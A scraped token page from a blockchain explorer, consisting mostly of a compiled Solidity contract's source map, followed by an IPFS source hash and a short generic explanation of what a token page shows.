7;:19;;;;;;;;-1:-1:-1;;;;;8061:28:0;;;;;;;;;:37;;;8123:8;;8040:12;;8123:8;;8109:22;8105:43;;;8133:6;:15;;;8105:43;8160:37;;1391:25:1;;;-1:-1:-1;;;;;8160:37:0;;;8169:10;;8160:37;;1379:2:1;1364:18;8160:37:0;;;;;;;;-1:-1:-1;8211:4:0;7968:253;;;;;:::o;6394:117::-;6447:4;6484:20;;;:8;:20;;;;6467:12;;:38;;:16;:38::i;:::-;6460:45;;6394:117;:::o;6811:205::-;4799:5;;-1:-1:-1;;;;;4799:5:0;4785:10;:19;4777:28;;;;;;-1:-1:-1;;;;;6902:22:0;::::1;6894:81;;;::::0;-1:-1:-1;;;6894:81:0;;2992:2:1;6894:81:0::1;::::0;::::1;2974:21:1::0;3031:2;3011:18;;;3004:30;3070:34;3050:18;;;3043:62;-1:-1:-1;;;3121:18:1;;;3114:44;3175:19;;6894:81:0::1;;;;;;;;;6983:27;6993:8;7003:6;6983:8;:27::i;:::-;6811:205:::0;;:::o;8961:416::-;9047:12;-1:-1:-1;;;;;9071:18:0;;;;;;:40;;-1:-1:-1;9093:4:0;;;;;-1:-1:-1;;;;;9093:4:0;:18;9071:40;9068:82;;;9113:4;:9;;-1:-1:-1;;;;;;9113:9:0;;-1:-1:-1;;;;;9113:9:0;;;;;;9068:82;;;9134:16;9141:4;9147:2;9134:5;:16::i;:::-;-1:-1:-1;;;;;9171:14:0;;;;;;:8;:14;;;;;;:26;;9190:6;9171:18;:26::i;:::-;-1:-1:-1;;;;;9154:14:0;;;;;;:8;:14;;;;;;;;:43;;;;9232:7;:13;;;;;9246:10;9232:25;;;;;;:37;;9262:6;9232:29;:37::i;:::-;-1:-1:-1;;;;;9204:13:0;;;;;;;:7;:13;;;;;;;;9218:10;9204:25;;;;;;;:65;;;;9291:12;;;;;:8;:12;;;;;:24;;9308:6;9291:16;:24::i;:::-;-1:-1:-1;;;;;9276:12:0;;;;;;;:8;:12;;;;;;;:39;;;;9327:26;;;;;;;;;;9346:6;1391:25:1;;1379:2;1364:18;;1245:177;9327:26:0;;;;;;;;-1:-1:-1;9367:4:0;8961:416;;;;;:::o;12183:208::-;12297:10;12271:4;12318:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;12318:28:0;;;;;;;;;;12271:4;;12288:75;;12309:7;;12318:44;;12351:10;12318:32;:44::i;:::-;12288:8;:75::i;:::-;-1:-1:-1;12381:4:0;12183:208;;;;:::o;6089:20::-;;;;;;;:::i;12397:218::-;12516:10;12490:4;12537:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;12537:28:0;;;;;;;;;;12490:4;;12507:80;;12528:7;;12537:49;;12570:15;12537:32;:49::i;7021:299::-;7124:4;;7089:12;;-1:-1:-1;;;;;7118:10:0;;;7124:4;;;;;7118:10;;7110:34;;;;-1:-1:-1;;;7110:34:0;;3407:2:1;7110:34:0;;;3389:21:1;3446:2;3426:18;;;3419:30;-1:-1:-1;;;3465:18:1;;;3458:41;3516:18;;7110:34:0;3205:335:1;7110:34:0;7183:10;7174:20;;;;:8;:20;;;;;;:32;;7199:6;7174:24;:32::i;:::-;7160:10;7151:20;;;;:8;:20;;;;;;:55;;;;-1:-1:-1;;;;;7228:12:0;;;;;;:24;;7245:6;7228:16;:24::i;:::-;-1:-1:-1;;;;;7213:12:0;;;;;;:8;:12;;;;;;;:39;;;;7264:32;;7273:10;;7264:32;;;;7289:6;1391:25:1;;1379:2;1364:18;;1245:177;706:104:0;758:6;786:1;781;:6;;773:15;;;;;;799:5;803:1;799;:5;:::i;:::-;795:9;706:104;-1:-1:-1;;;706:104:0:o;9685:570::-;10091:9;:27;;-1:-1:-1;;;;;;10091:27:0;-1:-1:-1;;;;;10091:27:0;;;;;10137:12;;:32;;10154:14;10137:16;:32::i;:::-;10122:12;:47;-1:-1:-1;;;;;10204:25:0;;;;;;:8;:25;;;;;;:45;;10234:14;10204:29;:45::i;:::-;-1:-1:-1;;;;;10176:25:0;;;;;;;:8;:25;;;;;:73;;;;-1:-1:-1;9685:570:0:o;10259:1271::-;10830:4;;-1:-1:-1;;;;;10823:11:0;;;10830:4;;;;;10823:11;;;:108;;-1:-1:-1;10906:9:0;;-1:-1:-1;;;;;10897:18:0;;;10906:9;;10897:18;:33;;;;-1:-1:-1;10926:4:0;;-1:-1:-1;;;;;10919:11:0;;;10926:4;;;;;10919:11;10897:33;10823:216;;;-1:-1:-1;11005:4:0;;-1:-1:-1;;;;;10998:11:0;;;11005:4;;;;;10998:11;:40;;;;-1:-1:-1;11032:6:0;;-1:-1:-1;;;;;11013:15:0;;;;;;:8;:15;;;;;;:25;;10998:40;10815:268;;;;-1:-1:-1;;;10815:268:0;;4009:2:1;10815:268:0;;;3991:21:1;4048:2;4028:18;;;4021:30;4087:28;4067:18;;;4060:56;4133:18;;10815:268:0;3807:350:1;324:104:0;376:6;395:5;399:1;395;:5;:::i;:::-;391:9;;420:1;415;:6;;407:15;;;;;12619:332;-1:-1:-1;;;;;12710:20:0;;12702:69;;;;-1:-1:-1;;;12702:69:0;;4497:2:1;12702:69:0;;;4479:21:1;4536:2;4516:18;;;4509:30;4575:34;4555:18;;;4548:62;-1:-1:-1;;;4626:18:1;;;4619:34;4670:19;;12702:69:0;4295:400:1;12702:69:0;-1:-1:-1;;;;;12790:21:0;;12782:68;;;;-1:-1:-1;;;12782:68:0;;4902:2:1;12782:68:0;;;4884:21:1;4941:2;4921:18;;;4914:30;4980:34;4960:18;;;4953:62;-1:-1:-1;;;5031:18:1;;;5024:32;5073:19;;12782:68:0;4700:398:1;12782:68:0;-1:-1:-1;;;;;12863:15:0;;;;;;;:7;:15;;;;;;;;:24;;;;;;;;;;;;;:33;;;12912;;1391:25:1;;;12912:33:0;;1364:18:1;12912:33:0;;;;;;;12619:332;;;:::o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1427:328::-;1504:6;1512;1520;1573:2;1561:9;1552:7;1548:23;1544:32;1541:52;;;1589:1;1586;1579:12;1541:52;1612:29;1631:9;1612:29;:::i;:::-;1602:39;;1660:38;1694:2;1683:9;1679:18;1660:38;:::i;:::-;1650:48;;1745:2;1734:9;1730:18;1717:32;1707:42;;1427:328;;;;;:::o;1949:186::-;2008:6;2061:2;2049:9;2040:7;2036:23;2032:32;2029:52;;;2077:1;2074;2067:12;2029:52;2100:29;2119:9;2100:29;:::i;2140:260::-;2208:6;2216;2269:2;2257:9;2248:7;2244:23;2240:32;2237:52;;;2285:1;2282;2275:12;2237:52;2308:29;2327:9;2308:29;:::i;:::-;2298:39;;2356:38;2390:2;2379:9;2375:18;2356:38;:::i;:::-;2346:48;;2140:260;;;;;:::o;2405:380::-;2484:1;2480:12;;;;2527;;;2548:61;;2602:4;2594:6;2590:17;2580:27;;2548:61;2655:2;2647:6;2644:14;2624:18;2621:38;2618:161;;;2701:10;2696:3;2692:20;2689:1;2682:31;2736:4;2733:1;2726:15;2764:4;2761:1;2754:15;2618:161;;2405:380;;;:::o;3545:127::-;3606:10;3601:3;3597:20;3594:1;3587:31;3637:4;3634:1;3627:15;3661:4;3658:1;3651:15;3677:125;3717:4;3745:1;3742;3739:8;3736:34;;;3750:18;;:::i;:::-;-1:-1:-1;3787:9:1;;3677:125::o;4162:128::-;4202:3;4233:1;4229:6;4226:1;4223:13;4220:39;;;4239:18;;:::i;:::-;-1:-1:-1;4275:9:1;;4162:128::o

Swarm Source

ipfs://d028dd2028eb3f759a04f9c165a873fc35ca53837b05c2846c6cd0619bdb9311
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.